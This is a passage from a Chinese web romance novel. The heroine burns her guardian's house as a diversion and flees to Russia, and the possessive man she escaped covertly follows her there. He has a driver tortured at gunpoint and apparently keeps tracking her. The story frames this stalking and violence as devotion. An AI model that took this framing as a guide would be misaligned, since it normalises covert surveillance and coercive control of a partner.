千瑶将保险柜切割开后,将手伸进去拿到了她的身份证护照。
她看到红本,心上一喜。
将证件放在自己的口袋中,拉上拉链。
千瑶重新回到花园里,王妈就站在她旁边,一句话也没有说。
眼神中好似什么都知道了,她也不追问。
“剩下的炮仗呢?”
“小姐都在那儿了。”
她看着一箱箱的冲天炮,红色的爆竹堆在一角。
千瑶拆开冲天炮,打火机点燃,方向直接对准客厅。
巨大的炮仗声响彻整座庭院,火星飞溅,火苗迎风飞舞。
顺势的风往里屋吹,一瞬间把客厅的窗帘烧了。
“小姐,您要做什么,危险!”
王妈把她拉远了,她担忧道:“小姐,咱们不放了。”
“王妈......我想走了。”
黑色的烟雾逐渐弥漫,噼里啪啦的鞭炮声在身后响起。
烈火焚烧的火光映着她的脸,眼中的光影倒映着她的泪眼。
她将所有的烟火都扔进火堆中,让这场火烧得更旺。
火舌灼烧,烧过电视机前的摆件。
小马的玩偶很可爱,是邵柏修在网上买给她的。
窗花的贴纸被灼烧得黑漆漆,残存的一角被火焰吞灭,她记得邵柏修在离开前,想和她一起贴的。
桌上未来得及贴的对联,此刻已经烧得沦为灰烬。
她还是没有贴上那对春联。
千瑶站在火光里,看着火焰跳跃。
她流下了一抹泪,不知名的情绪冲击着她。
泪水朦胧了双眼,融进了火红的烈焰里。
千瑶捂着胸口,难受得喘不上气来,泪水顺着脸颊流下,流到嘴角。
她应当是高兴的,可是难过的眼泪却是咸的。
千瑶跑向门口,一众保镖值守。
她着急道:“快!快去灭火。”
“烟花忽然落进房内,起火了!”
千瑶着急地指着身后的庭院,屋内已经冒出极大的浓烟。
滚滚浓烟升天,烟花的硝烟弥漫。
千瑶猛地咳嗽,保镖起初还有迟疑,王妈此时也匆匆而来,让人赶快去灭火。
佣人们早早离开,能帮忙的只有他们。现今花园的水管很长,打开水闸可以直接拿来灭火。
“里边还有很多重要的东西,拜托你们了。”千瑶急切地恳求。
这群保镖本不该管庭院里的事务,可情况紧急,他们便顾不得这么多了。
王妈带着他们去开水阀,匆匆往花园里去。
千瑶顺势从门口偷偷出去,跑得飞快。
她一连拐了几个街道,汗水涔涔都顾不上擦。
她不敢有一点停歇,在那些保镖被引去花园后,他们一定知道她不见了。
千瑶沿着商圈的长街走,直直拐入一街区。
在阳风港203号咖啡馆前,那里停着一辆黑色宝马。
千瑶推开咖啡馆的门,门前的风铃叮铃作响。
“您好,我来拿钥匙。”
咖啡馆老板放下手里的咖啡勺,抬头看了她一眼。
从底下的柜子里,拿出一串车钥匙。
老板把钥匙放在她手里。
“谢谢,代我向斯年表示感谢。”
千瑶拿着车钥匙,打开宝马车门,一路往京太高速飞驰。
而这一幕,她几乎似曾相识。
几个月前,她也是面临这样的处境。
千瑶握着方向盘时,还感觉很不真实,她真的出来了。
她的内心久未平静,心跳反而加速更快。
应斯年看懂了她的作话,她知道应斯年是她的读者,一定会追更她的最新小说。
二人无言的默契,她也庆幸他能看懂。
写在作话的那些内容。
【第10章
作者有话说:
斯是陋室,惟吾德馨,很喜欢的一句话。】
【第11章
作者有话说:
年年有余,准备过年啦!】
......
每一章作话的开头都是精心设计的,其实是个藏头话,她不敢一次性全写上。
千瑶担心邵柏修会发现,因为他也会看到。
起初千瑶没抱太大希望,她想让应斯年帮忙准备一辆车,车就停在阳风港203号咖啡馆。
她借着作话来和他传递消息。
车窗外的风呼呼地吹着,今天的太阳很暖和,万里无云。
傍晚的微光洒落,蓝调天空添了些绚烂。
千瑶浅浅弯起一抹笑容,直到前天在商圈见到他,她确信了应斯年看得懂。
他很乐意帮助她。
她只有现金,只够买一张单程飞机票,千瑶没有让他帮忙买票。
一来她不知道有机会离开的时间,无法确定飞机起飞时间。
二来她与应斯年的联系是有限的,她现在没有手机。
千瑶不想麻烦过多,只要应斯年帮个小忙就好。
她实在没有过多的钱再去打车,才让他帮忙去搞车的。
邵柏修把她的卡全收了,想要再去办理会很麻烦,时间也来不及了。
机场的大厅人来人往,千瑶来到机场柜台。
“帮我买一张最快的航班机票。”
窗口的服务人员一愣,“女士,您要去哪?”
“不论去哪,我想坐最快起飞的飞机,去哪儿都行。”
服务人员在电脑上操作,而后很快就购买完毕。
“最快的航班是去莫斯科,您的登机牌请拿好。”
她攥着登机牌,赶忙往登机口去。
千瑶坐上了飞机,她的心在剧烈地跳动,时间每一分每一秒都无比漫长。
她担心之前的情况会重蹈覆辙,毕竟邵柏修警惕多疑。
她消失的几个小时,邵柏修一定疯了。
直到机舱门彻底关闭,广播里提示飞机即将起飞。
在飞机升空的刹那,她看到了最美的晚霞。
蓝调与橙红交接的天际,一条美丽的弧线出现在她眼前。
千瑶感觉前所未有的轻松与快意。
夜幕真正的降临了,云层翻涌。千瑶看向窗外,不知不觉地,她又想起那个人了。
她走了,邵柏修应该会很难过吧。
飞机横过天际,劳斯莱斯停在门前。
庭院中满目疮痍,一众保镖位列两侧低着头。
低沉的气压在期间蔓延,无人敢直视站在中央的男人。
邵柏修微仰起下颌,看着烧得外墙乌黑的庭院,散落的烟花礼炮桶。
眼神扫过众人,眼若寒冰,带着压迫的气势。
“人呢?”
在场之人均倒吸一口冷气,战战兢兢不知如何回复。
这件事是他们大意,严重失职。
断电监控被毁,同时引燃大火
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,吸引他们的注意。
千瑶小姐看着乖巧,实际上心思缜密,连他们都骗过去了。
他们无地自容。
“我问你们人呢?!”
邵柏修双目赤红,声音吼得极大。
“千瑶跑了,你们一个个都瞎了,看不见吗?”
邵柏修揪着一保镖的衣领,“说话。”
“先、先生,小姐放烟花,引燃了屋内,我们去救火、就......就没注意......”
砰——
保镖被踹得吐血,飞出几米远,捂着胸口瘫倒在地上。
“王妈,你说。”他的视线穿过众人,锁定在唯一的管家。
王妈低着头,表情很镇定。
她的视线平和,详细地解释了事情的原委。
“先生,小姐偷拿仓库的切割机,切开了保险柜,拿走证件后切断电源,纵火吸引人注意而后离开。”
邵柏修双手环臂,指尖有节奏地轻点着。
“哦,也就是说,你看了全程。”
“你也参与了,你在帮她。”
邵柏修陈述时,王妈没有反驳。
“王妈,十几年了。”他一手支着脑袋,仰头叹了口气。“你从来不会背叛邵家。”
“先生,我帮小姐放烟花,掩饰切割机的声音。对不起,先生我辞职。”
站在一旁的邹秘书听着揪心,王妈是邵家的老人了,她不会不知道千瑶小姐对先生的重要性。
他看着前方的先生,很是担心他的情况。
邵柏修微闭着眼,扶着发疼的额头,先生已经在暴虐的边缘。
“你们都被解雇了。”
“滚!全都给我滚!”
保镖全都撤离,不敢在此处多待。
邵柏修一把抓过邹秘书的领子,“马上去给我找,她到底去哪了?”
“手机定位,机场寻人,还有街角的监控,全都给我查!”
邵柏修脸色阴沉,眼中的狂怒烧得他失理智。
千瑶真的跑了,她再次抛弃了他。
之前对他的温柔,对他的顺从,全都是骗他的。
一起贴对联,一起吃年夜饭。
零点的跨年,都是他的一厢情愿,千瑶根本就不在意。
邵柏修笑了。
是了,他算什么东西。
值得她在意。
邹秘书走后,硕大的庭院仅剩下邵柏修一人。
他踏入屋内,火势来得快,灭得也很快,里屋并没有损失太多东西。
只不过红色的窗花已经烧得看不见颜色,那还是千瑶挑了很久的。
她觉得Q版的小马很可爱,其他的虽然也很好看,但都是太严肃了,她不喜欢。
小马玩偶掉在地上,一只小短腿被烧得漆黑,特别的丑。
邵柏修拿起来,坐在沙发上,使劲地擦。
手指擦得漆黑,还是擦不掉上边的黑色。
千瑶要是回来看到了,又会不喜欢了,她一向不喜欢黑色的东西。
地上掉落的春联一角,随意丢弃在地上,被烧得只剩半张,隐约能看到剩下的字。
年年岁岁平安喜乐。
平安喜乐被烧掉,入目的红,湿了眼眶。
“原来你.....没贴啊。”
骤然升空的烟花在天空中绚烂,轰鸣的炮仗声响彻平静的天际。
坠落的烟花簌簌而下,璀璨的烟火宛若流星。
邵柏修的眼眸中倒映着火树银花,繁星在飞舞。
零点的烟花很响,除夕一过,新年到了。
“明明说好,会等我一起跨年的。”
云端之上,机舱之内。
飞往莫斯科的航线。
窗外的万家灯火,零点到了,烟花绽放,鞭炮齐鸣。
她看向窗外,一朵朵灿烂的烟花在夜空绽放,指尖触摸着冰冷的窗。
“邵柏修,烟花真的很美,新年快乐。”
45. 第45张照片
清晨的微光从机舱的舷窗洒落,千瑶长睫微动,从窗外看到的一轮圆日。
她醒来时,飞机已经在播报准备落地。
千瑶从机舱出来,恍如隔世。
天上下起了鹅毛大雪,但莫斯科的天非常蓝。
从远处看到的建筑顶部就像是一团彩色的冰淇淋,漫天的飞雪给地面添上了白色绒衣。
她真的离开了Z国,离开了邵柏修。
千瑶用剩下的钱买了手机还有新的手机卡,第一件事就是联系了雪莉卡。
雪莉卡非常担心自己,自从上次成侦探的事情,雪莉卡也不敢再轻举妄动,她也没有办法联系千瑶。
再次收到千瑶的消息,她提起的心总算放下了。
雪莉卡给她汇了很多钱,还想让人来接她,但是千瑶拒绝了。
而后千瑶办了本地的银行卡,排队的人不多。但她语言不通,服务人员很有耐心,她一会儿就把稿费都存进去。
千瑶先找了一个酒店住下,她没有过多的行李,现在穿的衣服完全不够御寒。
她去商场买了一些衣服,而后回到酒店洗了个热水澡。
忙完这一系列的事情后,天色渐晚,天光逐渐暗下来。
莫斯科的冬天是真的很冷,她之前刷视频,就很想来这里看看。
她趴在酒店的床上,从露台看到外边的灯光亮起。
千瑶在这儿待着,没有处于异国他乡的害怕,她感觉到了一种内心的宁静。
她打开码字软件,她之前为了给应斯年传递消息,一次性发了很多存稿。
她现在的存稿严重不足,她不想过后卡文断更。
千瑶很早就想好了,今晚码完字后,明天就去逛逛红场,而后出发去摩尔曼斯克追极光。
现在的时间刚适合,她的攻略做得很充足。
千瑶码完字后,随手将电脑放在一边,睡得迷迷糊糊。
“宝宝,为什么又抛弃我了?”
“千瑶,哥哥心里好痛,你为什么要骗我。”
“我会打断你的腿,让你一辈子都只能待在我身边......”
“千千.....”
千瑶直接被吓醒,出了一身冷汗。
她急促地喘息,仿佛那个声音从未消失。
邵柏修,邵柏修。
她脑海里都是这个名字,那个男人在梦中的样子,癫狂炽热,一字一句都是在质问。
千瑶捂着跳得极快的心,捂着发汗的额头,眸中的惊恐没有消失。
她还有些恍惚,觉得自己又回到了那个庭院。
邵柏修的脸出现在自己眼前,她抱紧了自己,攥紧了被褥。
千瑶感觉到好害怕,好慌乱。
之前在机场她被抓,邵柏修就当场疯了,想要囚禁她。
她担心下一刻就要被抓回去,她不敢想那样的后果是怎么样的。
千瑶看了一眼外边的天,此时的天空还没有亮,她刚睡了几个小时。
她强迫自己镇静下来,让自己适应没有邵柏修的生活。
千瑶睡了过去,她睡得不安稳,夜间又被惊醒了很多次。
天光乍破,天刹那间亮了。
千瑶醒来时,按照计划去红场看看,同时准备好飞摩尔曼斯克的机票。
她订好了民宿,一切的手续齐全。
莫斯科的红场春节气息浓厚,专门打造了节日庆典。
她坐在广场的长椅上,看着中央的舞龙舞狮,热闹的氛围让她扬起唇角。
“你好。”
一个俄罗斯小女孩跑过来,她站在千瑶面前,用蹩脚的中文打招呼。
千瑶摸了摸她的脑袋,她长得特别可爱,就像橱窗里的洋娃娃。
“你好,小妹妹。”
小女孩手上拿着一副小对联,塞在她手里。
口中叽里咕噜地说了一长串话,千瑶听不懂,她拿出手机翻译器。
示意她再说一遍,小女孩咯咯地笑了。
翻译器里放出中文,“姐姐,你是Z国人,祝你新年快乐。这个送给你,是我和妈妈买来的小对联,把祝福送给你。”
“可以给你和家人一起贴,好运到家哦。”
“спасибо(谢谢)”千瑶笑着回道。
千瑶攥着对联,还有中间的横批。
小巧可爱,是纯手写的。
她再一抬头,那个小女孩就已经跑开了。
仄起平收,她记得邵柏修和她说过,所以她现在一眼就能分辨出上下联。
千瑶忽然想起她之前在客厅看了五分钟的对联,那时的邵柏修还在旁边笑她。
她在认真地分析春联的韵脚、语境,认真地推断上下联该贴哪边。
邵柏修一会儿说她分析的不对,一会儿又说她不够高,到时候得拿个凳子给她站。
千瑶气得直跺脚,把春联甩他身上,让他之后自己贴,她才不帮忙。
千瑶看着对联发怔,唇角的笑意悄然僵硬。
她怎么又不自觉地想起了他。
千瑶坐在长椅上看完了舞狮,红场长街万象,她逛得差不多了。
傍晚的飞机,她要回去收拾行李。
落地摩尔曼斯克的时候,是当地的凌晨。
她的时差还没倒过来,飞机上睡了一觉,她现在还非常清醒。
千瑶参照手机导航,直接到了民宿。民宿老板简是个中年女士,非常热情地迎接。
民宿很大,她住在二楼。一楼是房主在住,这里就他们夫妻二人,在这儿开民宿已经十几年了。
她订的民宿距离看极光的地点至少有二十公里,可在那儿周围没有其他的住宿区域了。
明晚如果她要去,一定是要租车的。
她看了网上的租车软件,感觉价格合适,于是直接下单预约时间。
千瑶准备好一切后,打开了网站,浏览了一下读者的评论。
她见到个有意思的评论,点赞之后顺手回答,直接发了出去。
她放下手机,去洗了个澡。
刚没几分钟,她想到了什么,匆匆忙忙从浴室出来。
头发上的水还在滴,她顾不上拿毛巾擦干,湿漉漉的手拿着手机,水湿得滑不开。
手机一个不留神,还掉下来。
千瑶抽了几张纸,赶忙捡起手机擦干屏幕,好在没有摔坏屏幕。
她赶忙申请删除评论,她握着手机在等。
网站的删除评论也是需要时间,就在这几分钟里,她焦虑至极。
她做了一件蠢事,她回复了评论,直接暴露她的IP。
以邵柏修的敏锐,他如果看到了,一定能知道她现在在哪里。
这点消息足够了,而且她说过,她想要去看极光的。
千瑶紧紧盯着手机,在评论删除的刹那,她如释重负。
还好删除的速度快,千瑶只希望在这短暂的几分钟里,邵柏修没有看她的小说。
千瑶的心始终悬着,在安慰自己,他不会有闲心去关注她的小说的。
她回到浴室,洗去一身的疲惫和焦虑。
次日的清晨,一早就见到简在做早餐,她很热情地让千瑶尝尝俄罗斯特色。
奶酪面包,俄式煎饼、肉冻,还有黑咖啡。
千瑶很感谢她的早餐,简做得很好吃,面包有点硬,她切成小块放进嘴里。
“你自己一个人来旅行?”
“是的,我想去看极光,因为想去,所以就立刻出发了。”
简说得一口流利的英文,来旅行的游客多了,她也学会了英语,所以千瑶和她交流起来很方便。
“像你这样的小姑娘一个人出来,确实很有勇气,但也要注意安全。这里周围的森林会有熊出没,不要离开这里走太远。”
“好的,我傍晚就要出发了,到时候我拍些极光照片带回来给你看。”
简哈哈大笑,预祝她成功看到极光。
她盯着千瑶的样貌,精致小巧的面容,笑起来还带着梨涡。
齐刘海微微随风扬起,长发披肩,典型的东方美人。
简直接问道:“你长得漂亮,应该有男朋友吧?他怎么没和你一起来看极光。”
“在那个地方看极光可是很浪漫的,如果运气好还会有流星,哦,那会是个美好的回忆。”
千瑶咬着面包,听她的话,心思飘到了九霄云外。
“嘿,千,你怎么了?”
简见她呆愣出神,手晃了晃她的眼。
“我......他,他很忙,所以我就自己来了。”
千瑶喝了口黑咖啡,特别的苦,苦涩蔓延着她的口腔。
简见她情绪有些低落,不再提及这个话题,转而和她谈起俄罗斯其他好玩的地方。
千瑶结束早餐过后,她回到房间继续码字。
等待到傍晚,一辆吉普车停在民宿前。
她合上电脑,电话就打来了,那人操着俄罗斯口音,大意是他已经到了。
千瑶戴上背包,防寒的装备。
下到一楼门口和他见面,司机是黑色络腮胡,长得特别高大。
眼窝深邃,戴了一个工装帽。
千瑶和他上车,在上车前,简还说会给她准备宵夜,到时候她回来自己拿出来热。
千瑶挥手告别简,司机倒是在傍晚的雪夜里开得飞快。
她不自觉地攥着右上角的把手,耳边的风呼啸而过,即便关了窗,也有凌冽的风从窗口的缝里吹进来。
司机瞥了她一眼,大笑着说些俄罗斯语言。
“尊贵的小姐,没必要这么害怕,今天雪下得不大,一个小时就能到。”
他吹了个口哨,“这条路也就只有我知道,虽然很不好走,这条近路绝对省了很多时间。”
千瑶没有和他搭话,希望他能专心开车。
司机确实比预定的时间早了半个小时,千瑶下车时,仰头望天。
绚烂的极光就在眼前浮动,浅绿色,深绿色相互交织着。
就像一副黑色巨幕下的油画,亮莹莹的光洒落,遍布了整个星空。
“这就是......极光。”
千瑶仰头感叹,美得几乎走不动路。
前边还有几个青年在拍照,雪漫过了脚踝,地面湿滑,她走得很慢。
夜空中的繁星点点,都说幸运的人能恰巧在见到极光的同时遇见流星。
千瑶站在雪地里,旁边有一处大石头,她扫过上边的积雪。
静静地仰望天空,她拿起手机拍了照片。
忽然手机之中簌簌划过几道光线,千瑶以为自己眼花了。
她移开手机,天空中出现了无数下坠的流星雨。
千瑶兴奋地站起,眼中满是不可置信。
犹如萤火一般划过暗夜长空,一瞬间的坠落,美得动人心魄。
比她在网上看到的图片要更加真切,她抬起手,指尖仿若触碰到那一抹抹流星。
千瑶嘴角扬起笑意,她真的很幸运,看到了极光还有流星雨。
忽然耳边传来一阵歌声,而后一帮人逐渐围成了一
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个圈。
千瑶扭头看去,是一个俄罗斯青年在单膝下跪,向一个金色长发女孩求婚。
周围人在喊“Обещать”,是答应他的意思。
青年在说着话,女孩捂唇感动落泪。
在冰天雪地里,漫天的极光流星雨,整个气氛达到顶峰。
二人幸福地接吻,唱着歌声不断。
其中几人觉察千瑶站在一旁,热烈地用俄语打招呼,拉着她一起唱歌跳舞。
火堆在中央燃烧着,热啤酒喝得人脸通红。
千瑶从自己的背包中拿出一个小礼物,她将两枚红色的礼盒送给一对情侣。
“哇哦,我认得,这是你们Z国的剪纸。”女孩惊喜道。
千瑶将礼物交给他们,翻译器翻译:“还有这一个是一对同心结,希望你们甜甜蜜蜜,白头偕老。”
“谢谢,我非常喜欢东方文化。”
女孩收下礼物,对千瑶特别喜欢,不仅她是唯一的外国人,而且长得可爱美丽,她喜欢和千瑶交朋友。
她偷偷问道:“不知道你有没有男朋友。”
“你看,前边弹吉他的那个是鲍乐,左边那个唱歌的是金。长得都不错,而且都单身。”
“我可以替你去联系,如果你喜欢这里的男人。”
千瑶看向人群中央,她指的那些人,她礼貌地摇头。
“不喜欢?”
“我还认识很多帅哥,你看......”
千瑶见她就要把自己拉过去,一时间脑袋一热,“我、我......我有男朋友。”
“只不过他没来而已。”
女孩听千瑶这么说,顿时大失所望。不过也只是一瞬,她便送上自己的祝福。
“哦哦,刚刚是我不知道,很抱歉。”
“祝福你和他永远幸福。”
千瑶微微一笑,沉默不语。
她和邵柏修已经分开了,其实在机场的那天,他们就已经结束了。
他的谎言真真假假,一个谎言需要无数的谎言去掩盖。
她不会再相信他,一字一句。
“在流星下的祝福很神奇的,按照你们的话来说叫灵。”
女孩打了个响指,“我猜你现在一定在想他。”
千瑶从篝火边悄悄地离开了,身后的人还在继续下一轮的热舞欢呼。
她既定的时间到了,包车的司机在外边一百米处等着她。
千瑶上车后,司机立刻开动,沿着来时的方向回去。
车刚开了没几分钟,逐渐驶离人群,穿梭进入小路。
而后,车又继续开了十几分钟。
司机瞥了她一眼,语气和态度都很生硬。
“加钱,至少一千美金。”
千瑶被他前后的态度给搞懵了,“我之前在软件上的价钱是固定的五百美金,已经支付完成了。”
“那是之前的价格,算是来时的价格,现在是回去,你当然要付钱了。”
千瑶着急,“你之前并没有说清楚,而且上边写明了是一口价的。”
“给不给?我就要现金。”
司机显然没有耐心,拍了一下方向盘。
千瑶看他突然的发怒,方向盘拍得作响,她攥紧了包袋。
她摇头,不愿意妥协。
这个人太过分,坐地起价,她本来就没有带过多的现金。
“我再问一遍,你给不给?!”他直接大吼道。
车开得飞快,吓得千瑶抓着扶手,眼眶都红了。
“你不守信用!”
司机冷哼了声,直接刹车停了。
下车拽着千瑶的手腕,直接把她拖下车,一把扯过千瑶的包。
“你做什么,你这是抢劫!”
千瑶想去抢,却没拿到,他不耐地翻了翻她的钱包,只拿到几百块现金。
他不爽地把钱塞进口袋里,吐了几句脏话。
“这就当做车费,既然你不愿意付剩下的钱,你就自己待在这儿吧。”
司机把包扔在她脚边,自己开着车扬长而去,只剩车的尾气。
千瑶看着洒落出来的证件,急忙把它收好。
她蹲在地上,刚刚的手腕被捏红了,直接青紫了一圈。
雪已经没过脚踝,在这个冰天雪地里,距离住宿点还有十几公里。
她打开手机按了几下屏幕,却没有信号。
“怎么会这样......”
刚刚那个司机来时说过,这里是偏僻的路段,鲜少有人知道。
这条路上根本没有车来往,一种深深的绝望席卷着千瑶。
千瑶只能走回去,寒冷的天气在夜间更为萧肃,更糟糕的是还下起了厚重的雪。
她呼出的热气几乎结冰,她只有走,让自己运动起来。
千瑶眼睛红了,委屈和无助的情绪涌了上来。
之前简说过,夜里容易有熊出没,她希望自己能幸运些。
泪水打湿了眼眶,她不敢再哭,眼泪挂在脸上,风一吹就很难受。
她走了将近半小时,雪却越下越大,她走在路中却没有感觉到运动带来的暖意。
她实在走不动了,雪水渗透进入她的鞋里,脚是冰凉的刺痛。
千瑶蹲在树下的一个角落,她需要休息,好困、好累。
很想睡一觉。
她可能要死在这里了。
忽然,一盏车灯照在她的脸上。
千瑶微微眯着眼,她一定是出现了幻觉。
她看到了邵柏修紧张的眉眼。
46. 第46张照片
车内放着舒缓的交响曲,后座的千瑶悠悠转醒。
身上包裹着羽绒服,怀中放了几个暖宝宝,手脚都枕着热水袋。
千瑶扶着发蒙的脑袋,坐起来打量着四周。
前方的司机开得缓慢,手指在方向盘上打着节拍,嘴里哼着小曲。
她从前方的后视镜里见到他碧蓝的双眼,眼窝深邃。
左脸处有一道斜长的疤,是一个约莫四十的中年男人。
“您好,是您救了我吗?”
“偶然来接客人的,我开到这儿,忽然客人中途不需要我来了。恰巧在路边看到你快冻死了,顺手的事。”
他说的是中文,非常流利而且很纯正,沟通完全无障碍。
他长得虽然蛮横,却十分热情。
“后座那儿有热水,袋子里有可可粉,你可以冲一杯热可可,喝完会舒服一点。”
“羽绒服送给你了,暖贴在右下方的格子里,不够可以多拿几片贴在身上。”
“车上还有剩余的棉袜,你可以拿来换上。”
千瑶按照他说的,确实找到了很多保暖的衣物和棉袜。
她感谢道:“谢谢您的帮忙,若不是您,我不知何时能走出来。”
千瑶冻得手通红,她冲了一杯热可可,热腾腾的气从杯中冒出,让她感觉到一丝的真切。
热可可很香,没有苦味。
她喝了一口感觉身体暖和了不少,车子开得很稳,没过一会儿,就开到了民宿。
在临下车前,司机拿出一个红色的手机壳,还有一条珠子吊坠与手机壳串联。
手机壳的背面是一个长耳兔的图案,他往后递给千瑶。
“小妹妹,这个送给你。”
千瑶接过,看了一眼就特别喜欢。
兔子特别可爱,它背了个小书包,手上还拿着只胡萝卜在啃。
她还是推了回去,“这个礼物我不能收,今天是您帮了我忙,我怎么还能收您的礼物。”
“Z国和俄罗斯一直都是好朋友,只是个别人这样坏的。我记着现在还是你们的新年,就想把这个送给你了。”
“你快把它换上吧,我看了一眼你手机,这个牌子很火,和我用的一样,型号应该是合适的。”
千瑶挨不住他的热情,她把旧的手机壳换下,换上新的手机壳,如他所说刚好合适。
“谢谢,您稍等。”
千瑶翻了一下自己的背包,想要找纪念品回礼。
可她翻了许久,身上值钱的东西都被抢走了。
千瑶颇为窘迫,司机似乎看出了她的难处。
“你不必给我钱或者其他的礼物,我们是朋友,帮人是应该的。”
“你身上衣物湿了,赶快回屋洗个热水澡吧,不然该着凉了,我就送你到这儿了。”
司机帮她开车门,千瑶下车,背着硕大的背包,走得缓慢。
她在他面前深深鞠躬,如果不是他,自己估计真的回不来了。
“再次谢谢您,祝您一路顺风。”
千瑶送走人后,转身回了民宿。
深夜里简留了一盏客厅的灯,上楼梯后,民宿二楼的灯光亮起。
一道目光直直锁定窗户里模糊的人影,另一辆车缓缓开过来。
邵柏修靠在车旁,仰头微微凝视着上方的女孩。
司机从车上下来,“boss,已经送给小姐了。”
他喜怒不明,眼神垂视,落到被绑在树上的男人。
那个男人是丢弃千瑶的络腮胡司机,此时的他面向一棵树,身上缠着一圈圈绳子。
脸上青一块紫一块,牙齿崩掉了一颗。
血沾着胡子,乱糟糟的糊在上头。
他此刻已经无法呼救,在这个空旷的地界,没人能听到。
十几名男人身着迷彩服,手持AK-47站在外圈警戒。
邵柏修靠在车门口叼着烟,并不着急点燃。手边的打火机“咔哒”一声响,蹿起火苗。
忽明忽暗的光线倒映着他冷峻的眉眼,点燃烟时,吐出白色的烟雾。
邵柏修看向树上的男人,走了过去。
一把攥着他的头发,扯得头皮生痛。
“啊——”
他挑起一抹笑意,缓慢地凑近,用俄语说道:“усталотжизни(活腻了)。”
“对不起,我错了,错了......”
络腮胡男子在讨饶,他后悔刚才将那个女孩扔在雪地里。
他刚出小道的路口,立刻被三四辆黑色的吉普车拦下,直接把他抓了起来。
他不知道这些人是从哪里来的,凶神恶煞,尤其是宾利上下来的矜贵男人。
看着文质彬彬的东方人,结果是个比恶狼还狠的男人。
络腮胡男人鼻梁已经断了,只能用口呼吸,流的口水都是血。
他看着男人讨饶的模样,摇尾乞怜,骤然笑了。
一桶热水已经在旁边了,他双手环臂,掸了掸指尖。
热水从他头上浇下。
“啊——”
倏然的热,在碰到零下的气温,骤然又变冷。
冷热的频繁交替,让他冻得直哆嗦。
裸露在外的肌肤不知是被冻红还是烫红的,鼻涕眼泪混杂着血,看上去狼狈极了。
“先生,这是小姐的一些纪念品还有几百块的美金。”
后头的邹秘书将搜到的东西呈上,仔细点清小姐没有其他的损失。
邵柏修扫了一眼,邹秘书便把东西都放回到先生车上。
“继续。”
一旁的刀疤男听命令,连续浇了好几桶。
被绑在树上的男人被扒了上衣,冻得直哆嗦,全然说不出任何话来。
邵柏修吐出烟,皮鞋踩过猩红的烟头,拿过一把枪,抵在他的头顶。
那人顿时吓得,双腿直打着哆嗦。
“Неубивайменя(别杀我)......”
脑袋被冰凉的枪口抵着,仿佛下一瞬间爆开的就是自己的脑浆。
邵柏修靠在他的耳边,“砰——”
一米八的壮汉当场吓得大喊起来,眼泪糊了脸,混杂着腥臭的血。
邵柏修大笑,笑得双目赤红。
他举着枪都不稳,重重垂在他肩上,抵着他的动脉。
那人吓昏了过去。
邹秘书看着先生嘴角的笑意,知道他的怒火在临界点,他冒着胆子上前。
“先生,这毕竟是在俄罗斯的地界,不宜太过火。”
邵柏修扬了扬眉,嘴角挑起的笑意更加盛。
邵柏修将枪抛给他,“把他带去警局,让人好好招待地他。”
-
千瑶睡了个昏天黑地,昨天回来后,她果真感冒了。
她一连打了好几个喷嚏,鼻子通红,整个人都蔫了。
简看她的模样,关心地问了几句。
千瑶摆了摆手,让她不要担心。她的早餐也只是简单地吃了些面包,其他的还是吃不惯。
中午的太阳很暖和,已经不再下雪了。
她坐在窗台边,趁着暖和,她打开电脑码字。
忽然见到有一个熟悉的读者一直给她投营养液,在刷屏催更。
头像是一个Q版的小狐狸,橙黄色的小狐狸眯着眼睛在笑,名字叫狸。
千瑶记得,狸是她的老读者了。从她开始在网站的第一本书开始,就一直在追更。
而且一直给她投营养液,在没人看的时候,还一直鼓励她。
而她好像也只追自己写的文,没见评论其他的书。
她很眼熟这个读者的名字,很好记,头像也可爱。
一看就是个很可爱的女孩子。
她也是在摩尔曼斯克。
千瑶感觉还挺有缘分
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,也许她也在这里旅游,和她一样追极光。
【
作者有话说:在摩尔曼斯克追极光是一件浪漫的事情,绿色的光线布满了天空,还看到了漫天的流星雨,见证了别人的幸福。我觉得很幸运。】
【狸评论:看到你写的文字,能感觉到你现在很幸福,很快乐。】
【狸评论:你在摩尔曼斯克追极光,而我在摩尔曼斯克追我的爱人。】
千瑶刚发布完,狸的评论立刻就发了上来,就像在和她隔空对话。
她看了一遍又一遍,狸的爱人也在这里,她的话语间好像很失落。
千瑶不知道狸经历了什么,如果爱人离开,也许是有原因的,她希望狸也能追到自己的幸福。
千瑶工作完了之后,已经是日落时分,这里日落的时间很早。
从她这边看去,能看到很漂亮的霞光。
千瑶收拾了一会儿行李,明天早上她要去圣彼得堡。
她感觉有点冷,她摸着自己的额头,好像有点低烧。
她裹着被子,蜷缩在床上,可能太累了,休息一下就好了。
千瑶在被子里发抖,渐渐地睡了过去。
床边有一道人影,她看不清。
她迷迷糊糊地说了句:“邵柏修,我要喝水。”
额头覆上一只手,抚摸着她的额发。
千瑶没有睁开眼,唇角边被人喂了一勺汤药。
她喝下去的时候很苦,特别难喝,一些药液从嘴角溢出来,被人轻柔地擦去。
“我不想喝药,太苦了,邵柏修。”
“我渴了,想喝水,我想喝水。哥哥。”
千瑶抓着那人的手,睁开眼睛时,视线逐渐聚焦。
简一脸担忧地看着她,手上攥着纸还在帮她擦着汗。
“你都已经烧得说胡话了,等会儿我帮你拿温水来,先把药喝完了。”
千瑶神情恍惚,她认错人了。
她在病中想到的居然是邵柏修,千瑶想坐起来。
她捂着晕乎乎的额头,觉得自己真是病糊涂了。
“谢谢你照顾我。”
“你刚刚一直在喊的人,是你哥哥吗?”
简将她扶起来,放了一个靠枕在后边。
“嗯。”
她每次感冒发烧,第一个出现的就是他,他即便工作再忙也会陪在身边。
她下意识的依赖已经成为了习惯,她刚刚甚至把简当成了他。
这样的情况很糟糕。
千瑶想到这里,鼻子骤然一酸。眼眶不由自主地泛红,不知怎的,难过的情绪就上了眼睛。
湿了眼尾,变得红红的。
这个习惯一点都不好。
一点也不好。
简见她低着脑袋,稍长的刘海遮住眼帘,她揉了揉千瑶脑袋。
让她稍等一会儿,她去给千瑶拿温水。
简出了卧室,千瑶追随着她离开的目光。
她双膝屈着,双臂环抱住。
千瑶讨厌生病,一生病她的情绪就变得脆弱,就像白瓷一样易碎。
就容易想起他,想起他的一切。
千瑶扭头看向桌上的药碗,还有一些汤药。
她将药碗端在手中,就在药碗的旁边,她见到了一个熟悉的感冒冲剂包装。
一包感冒灵袋子已经开了口,上边的空袋子写的都是中文。
“这里怎么会有Z国的感冒药,我记得我没有带这个。”千瑶喃喃自语。
这里冰天雪地。就连医院都得十几公里开外,即便有诊所医院,也不可能买到Z国的感冒药。
看着上边的包装图案和小字,她只觉得熟悉。
好像在之前荧光海,她发烧的时候,邵柏修给她冲的就是这一包。
千瑶攥着包装纸,指尖逐渐发白。
